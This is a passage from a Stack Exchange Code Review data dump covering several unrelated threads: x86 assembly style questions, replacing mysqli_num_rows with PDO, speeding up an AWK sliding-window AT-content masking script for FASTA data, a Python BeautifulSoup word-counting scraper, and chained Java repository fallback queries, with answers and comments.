<pre><code>$ as file.s -o file.o && ld file.o -o file
$ ./file; echo $?
# 27
</code></pre>
<p>Here are a few particular questions related to this:</p>
<ol>
<li><p>Is it common to use named variables (such as <code>cur_value</code> in <code>.section .data</code>) or not? I use them while learning a bit so it's easier to view the value of an easily-rememberable entity, i.e., I can just do <code>x &cur_value</code> in gdb to see what it is.</p>
</li>
<li><p>What is the suggested way to handle an <code>if</code> statement. I've tried to do this in the <code>is_divisible_by</code> function -- setting it to <code>$0</code> by default and then 'overwriting' it if the <code>true</code> condition is met. -- but this seems pretty hacky. I suppose another way to do it would be something like:</p>
<pre><code> cmp $0, %edx
je set_true
set_false:
mov $0, %eax
jmp clean_up
set_true:
mov $1, %eax
jmp clean_up
clean_up:
ret
</code></pre>
</li>
<li><p>Is it common to have end-labels on functions and such? I find myself often adding an <code>end</code> or whatever to be able to 'exit' things easily.</p>
</li>
<li><p>For labels within a main label (such as <code>exit</code> or <code>end</code> or <code>set_true</code> etc.), what is a good way to name these? I see <code>gcc</code> uses something like <code>.L1029</code> but that seems not-too-friendly when writing my own and having to remember then.</p>
</li>
<li><p>Would any of the above be better done 'on the stack' rather than using registers or named variables? I find it a bit more difficult to use the stack than registers as you cannot do something like <code>mov mem1, mem2</code></p>
</li>
<li><p>Finally, how could I extract the <code>is_divisible_by</code> function into another file and call it from within this main <code>file.s</code> file?</p>
</li>
</ol>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:23:43.557",
"Id": "489054",
"Score": "0",
"body": "As stated in the [guidelines](https://codereview.stackexchange.com/help/someone-answers), please do not edit the question after you have received an answer."
}
] |
[
{
"body": "<p>You have two independent conditions that must be satisfied before updating <code>cur_val</code>.</p>\n<ol>\n<li>The number must be divisible by <code>factor</code></li>\n<li>The number must be larger than <code>cur_val</code></li>\n</ol>\n<p>If the first test fails, you don't bother doing the second test.</p>\n<p>How many instruction (or better cycles) does it take to do each test?</p>\n<p>Given a long non-monotonic list, you may save considerable time simply by reversing these two tests.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T18:45:18.710",
"Id": "489037",
"Score": "0",
"body": "sorry I've updated the question. The elements in the list can be in any order not just a sorted list. Also, regarding `How many instruction (or better cycles) does it take to do each test` -- how can I find out how many cycles a section of code takes? I'm very new to assembly and have always wondered about that?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T21:08:25.550",
"Id": "489052",
"Score": "0",
"body": "That is a very difficult question, and can depends on CPU version, cache, CPU -vs- Memory bus clock speed, and so on. You'd have to consult the CPU spec sheet, motherboard configuration. But a fair guess is `cmp` & `jl` takes way less than `call is_divisible_by`, `cmp` & `je` will take."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T23:32:44.143",
"Id": "489186",
"Score": "0",
"body": "I see. Do you want to add a bit of code to your answer with how you'd suggest implementing it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T00:10:05.343",
"Id": "489191",
"Score": "0",
"body": "@samuelbrody1249 Sorry, no. I'm reasonably proficient reading code, but writing assembly I haven't done since 80486 days."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-18T02:15:26.697",
"Id": "489194",
"Score": "0",
"body": "@AJNeufedl -- I see, ok thanks for the feedback though!"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T04:53:44.380",
"Id": "249420",
"ParentId": "249419",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "249420",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T04:33:36.367",
"Id": "249419",
"Score": "2",
"Tags": [
"assembly",
"x86"
],
"Title": "Program to find the maximum number/factor in a list"
}
|
249419
|
<p>Is this a good approach to replace <code>mysqli_num_rows</code>?</p>
<p><code>$db</code> is a <code>PDO</code> instance. ..</p>
<pre><code>$result = $db->query("SELECT * FROM users");
$result_set = $result->fetchAll();
$count = count($result_set);
if($count>0){
//if $count>0 show something special
while($row = array_shift($result_set)){
// my code
}
//if $count>0 show something special here too
}else{
//some message
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T05:59:23.200",
"Id": "488911",
"Score": "4",
"body": "Code Review requires concrete code from a project, with enough code and / or context for reviewers to understand how that code is used. Pseudocode, stub code, hypothetical code, obfuscated code, and generic best practices are outside the scope of this site. Please take a look at the [help/on-topic]."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T06:12:52.133",
"Id": "488921",
"Score": "1",
"body": "We don't know what `$db` is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T06:14:58.523",
"Id": "488922",
"Score": "1",
"body": "@slepic everyone that knows PDO knows it a connection"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T06:17:17.077",
"Id": "488923",
"Score": "0",
"body": "I know `PDO`, I could have imagined that `$db` is a `PDO` instance. But you didn't say it is, so I actually couldn't know that. Better be explicit than have us assume something..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-03-29T06:39:59.240",
"Id": "510303",
"Score": "0",
"body": "If the only thing you need is how many rows -- `SELECT COUNT(*) FROM ... WHERE ...;` This is likely to be the fastest way to get _just_ that info."
}
] |
[
{
"body": "<p>Yes, <em>in order to know whether your query returned any rows</em>, in a modern web application it is preferred to fetch the data in a variable first and then use this variable to see whether it's empty or not. In this regard, calling the <code>count()</code> function would be also superfluous. In PHP, an array is as good in the <code>if</code> statement as a boolean value.</p>\n<p>Also, <code>foreach</code> is generally used to iterate over arrays.</p>\n<pre><code>$result = $db->query("SELECT * FROM users");\n$result_set = $result->fetchAll();\n\nif($result_set){\n\n //if $count>0 show something special\n\n foreach($result_set as $row){\n\n // my code\n }\n\n}else{\n\n //some message\n\n}\n</code></pre>\n<p>A few obvious notes:</p>\n<ul>\n<li>you should never select more rows than going to be used on a single web page</li>\n<li>you should never select the actual rows from the database only to count them</li>\n<li>in case you are working with a large dataset (in a command line utility for example), it is unwise to fetch all the rows first. in this case other means of detecting whether your query returned any rows have to be used.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:13:36.633",
"Id": "488940",
"Score": "0",
"body": "Thanks for answer! Count is useful and needed if i need to check if count is for example 2 `if($count==2){//do stuff}`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:57:38.750",
"Id": "488947",
"Score": "0",
"body": "You should never select rows from the database to count them. in this regard, you should NOT have used mysql_num_rows either."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:03:24.400",
"Id": "488948",
"Score": "0",
"body": "Any example/advice then how i should use?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:05:43.713",
"Id": "488950",
"Score": "0",
"body": "I believe Google can answer such a question like \"how to count rows in the database\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:09:21.570",
"Id": "488953",
"Score": "0",
"body": "Well i already know there are option to make second query. .. but is it even better?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:13:11.557",
"Id": "488955",
"Score": "0",
"body": "What's the second query? Can you explain what's the use of this `if($count==2)` condition? but n case if you are asking about arrays - yes, you can have the number of array elements using count() function"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:30:58.890",
"Id": "488957",
"Score": "0",
"body": "lets say i need to echo different content if there are different count of email addreses for user in database"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:42:50.590",
"Id": "488961",
"Score": "0",
"body": "now we are getting back to my other comment. if you need the \"count of email addresses\", but not addresses themselves, then you shouldn't select them in the first place, but should select the count. if you need both addresses and, for some strange reason, the count, then you can always count the number of elements in the array, but that's already irrelevant to any pdo or mysqli function"
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:03:11.497",
"Id": "249425",
"ParentId": "249421",
"Score": "1"
}
},
{
"body": "<p>Let's rephrase it with some rhetorical questions. You want to replace <code>if($result->num_rows){}</code> with the following?</p>\n<pre><code>$result_set = $result->fetchAll();\n$count = count($result_set);\nif($count>0){}\n</code></pre>\n<p>That is, you are asking, should the faster and shorter code be replaced with slower and larger code?</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:14:25.080",
"Id": "488941",
"Score": "0",
"body": "I m not sure if i follow"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:07:21.133",
"Id": "488951",
"Score": "0",
"body": "In a modern web application that's rather a standard approach, however allegedly \"slower\" or \"bigger\" it is."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:54:20.633",
"Id": "488965",
"Score": "0",
"body": "@Ingus In your case `$count` and `$result->num_rows` are equivalent. That is, the `$result` object already contains information about the number of rows, so it is redundant to `fetch all rows` and use the `count()` function in order to find out the answer to an already known question. Of course, if necessary, you can use it as `if($result->num_rows==2){//do stuff}` or `$count = $result->num_rows`. By the way, in your case it would have been better if you had called `$result->fetchAll()` only if `$result->num_rows > 0`."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:03:29.950",
"Id": "249426",
"ParentId": "249421",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "249425",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T05:56:18.577",
"Id": "249421",
"Score": "-4",
"Tags": [
"php",
"mysql",
"pdo"
],
"Title": "Is this a good approach to replace mysqli_num_rows?"
}
|
249421
|
<p>I had a sample file with a long string <code>>50M</code> like this.</p>
<pre><code>CACTGCTGTCACCCTCCATGCACCTGCCCACCCTCCAAGGATCNNNNNNNCACTGCTGTCACCCTCCATGCACCTGCCCACCCTCCAAGGATCaagctCCgaTNNNNNNNNNNNNGgtgtgtatatatcatgtgtgGCCCTAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGatgtgtggtgtgtggggttagggttagggttaNNNNNNNNNNNCCCTCCAAGGATCaagctCCgaTNNNNNNNNNNNNGgtgtgtatataGCCCTAGGtcatgtgtgatgtgtggtgtgtggggttagggttagggttaNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNGCCCTAGGNNNNNNNGCCCTAGGNNNNNNNNNNNNNNAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgttggggtNNNNNNGgtgtgtatatatcatagggAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgtggtgtgggtgtgtggggttagggAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtggtgtgtggggttagggttagggttaNNNNNNNNNNNNtgttgttttattttcttacaggtggtgtgtggggttagggttagggttaNNNNNNNNNNNCCCTCCAAGGATCaagctCCgaTNNNNNNNNNNNNGgtgtgtatatatcatgtAGCCCTAGGGatgtgtggtgtgtggggttagggttagggttaNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNttgtggtgtgtggtgNNNNNAGGGCtggtgtgtggggttagggAtagggAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgtggtgtgtggggGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgtggtgtgtggggttagggNNNNNNNNNNNNNNNNNNNNNNNNNNNNAGaggcatattgatcCCCTCCAAGGATCaagctCCgaTNNNNNNNggttagggttNNNNNGgtgtCCCTAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgtggtgtgtggggttagggttagggttaNNNNNNNNNNNNtgttgttttattttcttacaggtggtgtgtggggttagggttagggttaNNNNNNNNNNNCCCTCCAAGGATCaagctCCgaTNNNNNNNNNNNNGgtgtgtatatatcatgtAGCCCTAGGGatgtgtggtgtgtggggttagggttagggttaNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNttgtggtgtgtggtgNNNNNAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgttggggtNNNNNNGgtgtgtatatatcatagggAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgatgtgtggtgtgggtgtgtggggttagggAGGGCCCTAGGGCCCTAtgtgtgGCCCTAGGGCtgtgtgGCCCTAGGGCGGagtatatatcatgtgtgNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
</code></pre>
<blockquote>
<p>For everything <code>substring</code> with length <code>k = 50</code> (which means there are
<code>length(file)-k+1</code> substring)</p>
<p>if the <code>A||T||a||t</code> (Upper & Lower case) is <code>>40%</code>,</p>
<p>replace every character in that substring with <code>N</code> or <code>n</code> (preserving
case).</p>
</blockquote>
<p>Sample output:</p>
<pre><code>CACTGCTGTCACCCTCCATGCACCTGCCCACCCTCCAAGGATCNNNNNNNCACTGCTGTCACCCTCCATGCACCTGCCCACCCTCCAAGGATCaagctCCgaTNNNNNNNNNNNNGgnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnggttaNNNNNNNNNNNNNNNNNNNNNNNNnnnnnNNnnNNNNNNNNNNNNNNnnnnnnnnnnnNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNGCCCTAGGNNNNNNNGCCCTAGGNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNNNNNnnnnnNNnnNNNNNNNNNNNNNNnnnnnnnnnnnnnnnnnNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNttgtggtgtgtggtgNNNNNAGGNNnnnnnnnnnnnnnnnnnnNnnnnnNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnngggttagggNNNNNNNNNNNNNNNNNNNNNNNNNNNNAGaggcatattgatcCCCTCCAAGGATCaagctCCgaTNNNNNNNggttagggttNNNNNGnnnnNNNNNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNNNNNnnnnnNNnnNNNNNNNNNNNNNNnnnnnnnnnnnnnnnnnNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNttgtggtgtgtggtgNNNNNNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnNNNNNNNNNNNNNNNNNnnnnnnNNNNNNNNNNnnnnnnNNNNNNNNNNNNnnnnnnnnnnnnnnnngNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
</code></pre>
<p>I was using <code>AWK</code> in command line for ease, but it just runs extremely slow with string replacement... and consume only <5% CPU somehow.</p>
<p>Code <a href="https://repl.it/@hey0wing/DutifulHandsomeMisrac-3" rel="nofollow noreferrer">here</a>:</p>
<pre><code># Method 1
cat chr.fa | head -n1 > chr.edited.fa
cat chr.fa | tail -n+2 | awk -v k=100 -v r=40 '{
printf("chr.fa: %d\n",length($0))
i = 1;
while (i <= length($0)-k+1) {
x = substr($0, i, k)
if (i == 1) {
rate = gsub(/A/,"A",x) + gsub(/T/,"T",x) + gsub(/a/,"a",x) + gsub(/t/,"t",x)
} else {
prevx = substr($0,i-1,1)
if (prevx == "A" || prevx == "a" || prevx == "T" || prevx == "t")
rate -= 1
nextx = substr(x,k,1)
if (nextx == "A" || nextx == "a" || nextx == "T" || nextx == "t")
rate += 1
}
if (rate>r*k/100) {
h++
highGC[i] = i
}
printf("index-r:%f%% high-AT:%d \r",i/(length($0)-k+1)*100,h)
i += 1
}
printf("index-r:%f%% high-AT:%d\n\n",i/(length($0)-k+1)*100,h)
for (j in highGC) {
y = highGC[j]
SUB++
printf("sub-r:%f%% \r",SUB/h*100)
x = substr($0, y, k)
gsub (/[AGCT]/,"N",x)
gsub (/[agct]/,"n",x)
$0 = substr($0,1,y-1) x substr($0,y+k)
}
printf("sub-r:%f%%\nsubstituted:%d\n\n",SUB/h*100,SUB)
printf("%s",$0) >> "chr.edited.fa"
}'
# Method 2
cat chr.fa | head -n1 > chr.edited2.fa
cat chr.fa | tail -n+2 | awk -v k="100" -v r=40 '{
printf("chr.fa: %d\n",length($0))
i = 1;
h = 0;
while (i <= length($0)-k+1) {
x = substr($0, i, k)
rate = gsub(/[ATX]/,"X",x) + gsub(/[atx]/,"x",x)
if (rate>r/k*100) {
h++
gsub (/[GC]/,"N",x)
gsub (/[gc]/,"n",x)
$0 = substr($0,1,i-1) x substr($0,i+k)
}
printf("index-r:%f%% sub-r:%f%% \r",i/(length($0)-k+1)*100,h/544*100)
i += 1
}
gsub (/X/,"N",$0)
gsub (/x/,"n",$0)
printf("index-r:%f%% sub-r:%f%% \n\n",i/(length($0)-k+1)*100,h/544*100)
printf("%s",$0) >> "chr.edited2.fa"
}'
# Method 3
cat chr.fa | head -n1 > chr.edited3.fa
cat chr.fa | tail -n+2 | awk -v k="100" -v r=40 '{
printf("chr.fa: %d\n",length($0))
i = 1;
h = 0;
while (i <= length($0)-k+1) {
x = substr($0, i, k)
rate = gsub(/A/,"A",x) + gsub(/T/,"T",x) + gsub(/a/,"a",x) + gsub(/t/,"t",x)
if (rate>r/k*100) {
h++
gsub(/[ACGT]/,"N",x)
gsub(/[acgt]/,"n",x)
if (i == 1) {
s = x
} else {
s = substr(s,1,length(s)-k+1) x
}
} else {
if (i == 1) {
s = x
} else {
s = s substr(x,k,1)
}
}
printf("index-r:%f%% sub-r:%f%% \r",i/(length($0)-k+1)*100,h/544*100)
i += 1
}
printf("index-r:%f%% sub-r:%f%% \n\n",i/(length($0)-k+1)*100,h/544*100)
printf("%s",s) >> "chr.edited3.fa"
}'
# Method 4
cat chr.fa | awk -v k=100 -v r=40 '{
if (gsub(/>/,">",$0) > 0) {
printf("%s\n",$0) > "chr.edited4.fa"
} else {
printf("chr.fa: %d\n",length($0))
i = 1;
h = 0;
while (i <= length($0)-k+1) {
x = substr($0, i, k)
if (i == 1) {
rate = gsub(/A/,"A",x) + gsub(/T/,"T",x) + gsub(/a/,"a",x) + gsub(/t/,"t",x)
} else {
prevx = substr($0,i-1,1)
rate -= gsub(/[ATat]/,"",prevx)
nextx = substr(x,k,1)
rate += gsub(/[ATat]/,"",nextx)
}
if (rate > r/k*100) {
h++
gsub(/[ACGT]/,"N",x)
gsub(/[acgt]/,"n",x)
if (i > 1) {
s = substr(s,1,length(s)-k+1) x
}
} else {
if (i > 1) {
s = s substr(x,k,1)
}
}
if (i == 1) {
s = x
}
printf("index-r:%f%% sub-r:%f%% \r",(i-1)/(length($0)-k+1)*100,h/544*100)
i += 1
}
printf("index-r:%f%% sub-r:%f%% \n\n",(i-1)/(length($0)-k+1)*100,h/544*100)
printf("%s",s) >> "chr.edited4.fa"
}
}'
</code></pre>
<p>Are there any faster algorithm for this problem? If no, are there any language can perform string replacement faster?</p>
<p><strong>More info:</strong>
The <code>AWK</code> command consume <code>~30%</code> CPU at <code>WSL</code> & <code>GitBash</code>, but only <code>~5%</code> on windows <code>cmd</code> with an <code>OpenSSH</code> client, where the progress rate is similar.</p>
<hr />
<p>The algorithm had improved from <code>method 1</code> to <code>method 4</code>, and the estimated runtime decreased from <code>~3</code> days to <code>~16h</code>.</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:29:40.807",
"Id": "488933",
"Score": "0",
"body": "Is this part of a programming challenge? Do you know what the type of input is called?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T10:58:01.590",
"Id": "488967",
"Score": "0",
"body": "It is a part of my assignment... which the input is fasta `.fa` file.\nThis problem is called as `high-AT content masking`, which is related to DNA and human genomes"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T11:21:55.333",
"Id": "488971",
"Score": "0",
"body": "Right, [FASTA format](https://en.wikipedia.org/wiki/FASTA_format). At first glance it looked a bit inconsistent for Fasta."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-18T18:34:56.393",
"Id": "512288",
"Score": "0",
"body": "First step is understand the requirements. That is your job. Can you clarify the question? I think the inputfile only has the characters `ACGTacgt`, can help with a solution. The condition `if the A||T||a||t (Upper & Lower case) is >40%` is unclear, what do you mean with `||`? Are you asking for substrings where at least 40% of the characters are in `[ATat]`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-04-18T18:40:14.563",
"Id": "512289",
"Score": "0",
"body": "How handle overlapping substrings? When in the inputstring starts with 60 characters A, and the ret is a G, what to do? The first 50 match the condition and should be replaced by 50 N's. In the original string the next 10 characters where part of 50 characters A-string, but after the replacement of the first 50 characters, they are just 10 isaloted A's. Should these A's be replaced by N's too?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T06:32:06.597",
"Id": "249422",
"Score": "2",
"Tags": [
"homework",
"bioinformatics",
"awk"
],
"Title": "Faster algorithm/language for substring sliding window replacement"
}
|
249422
|
<p>I'm relatively new to python and for an assignment I had to write a program that fetches a webpage with BeautifulSoup, extract all Paragraphs from it, and extract all words ending with "ing", and in the end save it to a file with the format "Word" + tab + "wordcount" + "newline".</p>
<p>This is my code so far. Is there a more pythonic way to handle this?
Or generally ways to improve the code?</p>
<pre><code>from bs4 import BeautifulSoup
import requests
import re
def main():
site = "https://en.wikipedia.org/wiki/Data_science"
r = requests.get(site).content
soup = BeautifulSoup(r)
ps = soup.findAll('p')
fulltext = ''
for p in ps:
fulltext += p.get_text()
words = match_words(fulltext)
formated_words = sort_and_format(words)
with open(r"Q1_Part1.txt","w") as file:
file.write(formated_words)
def match_words(string):
pattern = re.compile(r'\b(\w*ing)\b')
words = re.findall(pattern, string.lower())
matching_words = {}
for word in words:
if word in matching_words:
matching_words[word] += 1
else:
matching_words[word] = 1
return matching_words
def sort_and_format(dict):
ordered_keys = sorted(dict, key=dict.get, reverse=True)
output_string = ''
for r in ordered_keys:
output_string += f"{r}\t{dict[r]}\n"
return output_string
main()
</code></pre>
|
[] |
[
{
"body": "<pre><code>if word in matching_words:\n matching_words[word] += 1\nelse:\n matching_words[word] = 1\n</code></pre>\n<p>If you're checking if a dictionary has a key before adding to it, a <code>defaultdict</code> may be a better option:</p>\n<pre><code>from collections import defaultdict\n\nmatching_words = defaultdict(int)\nmatching_words[word] += 1\n</code></pre>\n<p><code>int</code> returns a <code>0</code> when called without arguments, and that <code>0</code> is used as a default value for the dictionary when the key doesn't exist.</p>\n<hr />\n<pre><code>fulltext = ''\nfor p in ps:\n fulltext += p.get_text()\n</code></pre>\n<p>This isn't very efficient. Performance of <code>+=</code> on strings has gotten better in later versions of Python, but it's still generally slower. The typical alternative is using <code>join</code>:</p>\n<pre><code>pieces = [p.get_text() for p in ps]\nfulltext = "".join(pieces)\n\n# Or just\n\nfulltext = "".join([p.get_text() for p in ps])\n</code></pre>\n<p>Then similarly in <code>sort_and_format</code>:</p>\n<pre><code>output_string = "".join([f"{r}\\t{dict[r]}\\n"] for r in ordered_keys])\n</code></pre>\n<hr />\n<p>In <code>sort_and_format</code>, you've named the parameter <code>dict</code>. This is suboptimal for a couple reasons:</p>\n<ul>\n<li><code>dict</code> is a generic name that doesn't properly describe the data.</li>\n<li><code>dict</code> is the name of a built-in class, and shadowing it makes your code more confusing, and prevents you from using the built-in.</li>\n</ul>\n<p>Indicating the type can be helpful though, so I might introduce type hints here</p>\n<pre><code>from typing import Dict\n\ndef sort_and_format(words: Dict[str, int]) -> str:\n . . .\n</code></pre>\n<p>This says that the functions accepts a <code>Dict</code>ionary mapping <code>str</code>ings to <code>int</code>s, and returns a <code>str</code>ing</p>\n<hr />\n<p>Also for <code>sort_and_format</code>, I've found that when you start sticking <code>and</code> into names, that can suggest that the function is doing too much. You may find that the code will make more sense if the sorting and formatting happen separately. That functions can handle purely formatting, and can be handed a sequence to work with instead. If that sequence is sorted, great, if not, also great. It doesn't matter for the purposes of formatting what the sort order is.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T00:03:38.847",
"Id": "489407",
"Score": "0",
"body": "Thank you for the insights. Everything was outstandingly helpfull. The list comprehension is so usefull in python data wrangling. Also what do you think is it good practice in Python to specify the inputs and outputs? I come from java and scala and this is one thing which i feel is off and came to bite me in the ass lots of times."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T00:10:06.580",
"Id": "489409",
"Score": "0",
"body": "@elauser No problem. Glad to help. What do you mean though by \"Also what do you think is it good practice in Python to specify the inputs and outputs?\". The types of the input/output?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T01:30:47.523",
"Id": "489412",
"Score": "0",
"body": "Parameters and return types in functions is what i meant."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-21T01:34:54.410",
"Id": "489413",
"Score": "1",
"body": "@elauser I recommend using type hints, and also using an IDE like Pycharm that gives type warnings. I find it helps a lot, but it means you need to take the time to consider what types are involved (although that isn't necessarily a bad thing). If you check the Python code that I've posted here for review, you'll see that I use them everywhere."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T13:57:02.703",
"Id": "249437",
"ParentId": "249423",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "249437",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T06:39:04.977",
"Id": "249423",
"Score": "3",
"Tags": [
"python",
"web-scraping",
"beautifulsoup"
],
"Title": "Python Web-Scraping with BeautifulSoup"
}
|
249423
|
<p>I don't know it is some design pattern for it or I can't do it in a different way the code looks like this:</p>
<pre><code>Iteam iteam = itemRepository.findByNameAndNoAndCountryCodeAndCurrencyCode(name, countryCode, currencyCode);
if(item == null){
item = itemRepository.findByNameAndNoAndCountryCodeAndCurrencyCode(name, "US", currrencyCode)
}
if(item == null){
item = itemRepository.findByNameAndNoAndCountryCodeAndCurrencyCode(name, countryCode, "USD")
}
if(item == null){
item = itemRepository.findByNameAndCountryCode(name, countryCode)
}
if(item == null){
item = itemRepository.findByNameAndCurrencyCode(name, currrencyCode)
}
</code></pre>
<p>And I have a lot of this (like 15) kind of queries with the condition it is possible to do not make to many conditions and use some trick for this code?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:26:40.113",
"Id": "488931",
"Score": "3",
"body": "Code Review requires concrete code from a project, with enough code and / or context for reviewers to understand how that code is used. Pseudocode, stub code, hypothetical code, obfuscated code, and generic best practices are outside the scope of this site. Your current code is an example, generalized code. While other sites prefer that, Code Review actually requires the details of your actual code."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T07:29:24.650",
"Id": "488932",
"Score": "0",
"body": "@Mast I think it is enough because If I copy and paste all of my code I will add only 11 more conditions but with different queries"
},
{
